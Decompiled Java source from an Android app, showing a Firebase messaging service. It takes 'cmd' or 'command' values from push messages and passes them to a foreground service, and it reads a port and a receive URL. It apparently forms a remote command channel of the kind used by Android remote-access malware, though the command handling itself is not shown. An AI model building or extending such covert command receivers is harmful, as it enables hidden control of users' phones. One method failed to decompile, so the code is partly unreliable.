package ir.devixor.app.service;

import android.content.Context;
import com.google.firebase.messaging.RemoteMessage;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import o.AbstractC1480iS;
import o.AbstractC1692kh0;
import o.AbstractC1903ms;
import o.AbstractC2355rh;
import o.As0;
import o.C2105p;
import o.C2468sq;
import o.ExecutorC1232fq;
import o.InterfaceC0220Im;
import o.P8;
import o.UD;
import o.Za0;
import org.json.JSONObject;

/* compiled from: r8-map-id-3b7cc9102578c509342fa2f0fabed2bfc72239cd258d579fc679bfcbc198b048 */
/* loaded from: classes.dex */
public final class FirebaseMessagingService extends com.google.firebase.messaging.FirebaseMessagingService {
    /* JADX WARN: Removed duplicated region for block: B:7:0x0013  */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    public static final java.lang.Object b(ir.devixor.app.service.FirebaseMessagingService r5, java.lang.String r6, o.AbstractC0298Lm r7) {
        /*
            boolean r0 = r7 instanceof o.C0413Py
            if (r0 == 0) goto L13
            r0 = r7
            o.Py r0 = (o.C0413Py) r0
            int r1 = r0.q
            r2 = -2147483648(0xffffffff80000000, float:-0.0)
            r3 = r1 & r2
            if (r3 == 0) goto L13
            int r1 = r1 - r2
            r0.q = r1
            goto L18
        L13:
            o.Py r0 = new o.Py
            r0.<init>(r5, r7)
        L18:
            java.lang.Object r7 = r0.f291o
            int r1 = r0.q
            o.Oh0 r2 = o.Oh0.a
            r3 = 1
            if (r1 == 0) goto L2f
            if (r1 != r3) goto L27
            o.IJ.H(r7)     // Catch: java.lang.Exception -> L67
            goto L67
        L27:
            java.lang.IllegalStateException r5 = new java.lang.IllegalStateException
            java.lang.String r6 = "call to 'resume' before 'invoke' with coroutine"
            r5.<init>(r6)
            throw r5
        L2f:
            o.IJ.H(r7)
            ir.devixor.app.service.ForegroundService r7 = ir.devixor.app.service.ForegroundService.x     // Catch: java.lang.Exception -> L67
            if (r7 != 0) goto L4c
            android.content.Intent r7 = new android.content.Intent     // Catch: java.lang.Exception -> L4a
            java.lang.Class<ir.devixor.app.service.ForegroundService> r1 = ir.devixor.app.service.ForegroundService.class
            r7.<init>(r5, r1)     // Catch: java.lang.Exception -> L4a
            int r1 = android.os.Build.VERSION.SDK_INT     // Catch: java.lang.Exception -> L4a
            r4 = 26
            if (r1 < r4) goto L47
            o.AbstractC2440sc.o(r5, r7)     // Catch: java.lang.Exception -> L4a
            goto L4a
        L47:
            r5.startService(r7)     // Catch: java.lang.Exception -> L4a
        L4a:
            ir.devixor.app.service.ForegroundService r7 = ir.devixor.app.service.ForegroundService.x     // Catch: java.lang.Exception -> L67
        L4c:
            if (r7 == 0) goto L67
            r0.q = r3     // Catch: java.lang.Exception -> L67
            o.sq r5 = o.AbstractC1903ms.a     // Catch: java.lang.Exception -> L67
            o.fq r5 = o.ExecutorC1232fq.m     // Catch: java.lang.Exception -> L67
            o.sB r1 = new o.sB     // Catch: java.lang.Exception -> L67
            r3 = 0
            r1.<init>(r7, r6, r3)     // Catch: java.lang.Exception -> L67
            java.lang.Object r5 = o.AbstractC1692kh0.T(r5, r1, r0)     // Catch: java.lang.Exception -> L67
            o.Dn r6 = o.EnumC0091Dn.l
            if (r5 != r6) goto L63
            goto L64
        L63:
            r5 = r2
        L64:
            if (r5 != r6) goto L67
            r2 = r6
        L67:
            return r2
        */
        throw new UnsupportedOperationException("Method not decompiled: ir.devixor.app.service.FirebaseMessagingService.b(ir.devixor.app.service.FirebaseMessagingService, java.lang.String, o.Lm):java.lang.Object");
    }

    public static final JSONObject c(FirebaseMessagingService firebaseMessagingService, Context context) {
        String str = "";
        try {
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(context.getAssets().open("port.json"), AbstractC2355rh.a), 8192);
            try {
                String strO = As0.O(bufferedReader);
                bufferedReader.close();
                String string = Za0.o0(new JSONObject(strO).optString("port", "")).toString();
                String strA = AbstractC1480iS.a(context);
                if (strA != null) {
                    str = strA;
                }
                JSONObject jSONObject = new JSONObject();
                jSONObject.put("port", string);
                jSONObject.put("receive_url", str);
                return jSONObject;
            } finally {
            }
        } catch (Exception unused) {
            return null;
        }
    }

    @Override // com.google.firebase.messaging.FirebaseMessagingService
    public final void onMessageReceived(RemoteMessage remoteMessage) {
        String str = remoteMessage.getData().get("cmd");
        if (str == null && (str = remoteMessage.getData().get("command")) == null) {
            return;
        }
        C2468sq c2468sq = AbstractC1903ms.a;
        AbstractC1692kh0.C(UD.l, ExecutorC1232fq.m, new C2105p(this, str, null, 18), 2);
    }

    @Override // com.google.firebase.messaging.FirebaseMessagingService
    public final void onNewToken(String str) {
        super.onNewToken(str);
        C2468sq c2468sq = AbstractC1903ms.a;
        AbstractC1692kh0.C(UD.l, ExecutorC1232fq.m, new P8(this, str, (InterfaceC0220Im) null), 2);
    }
}
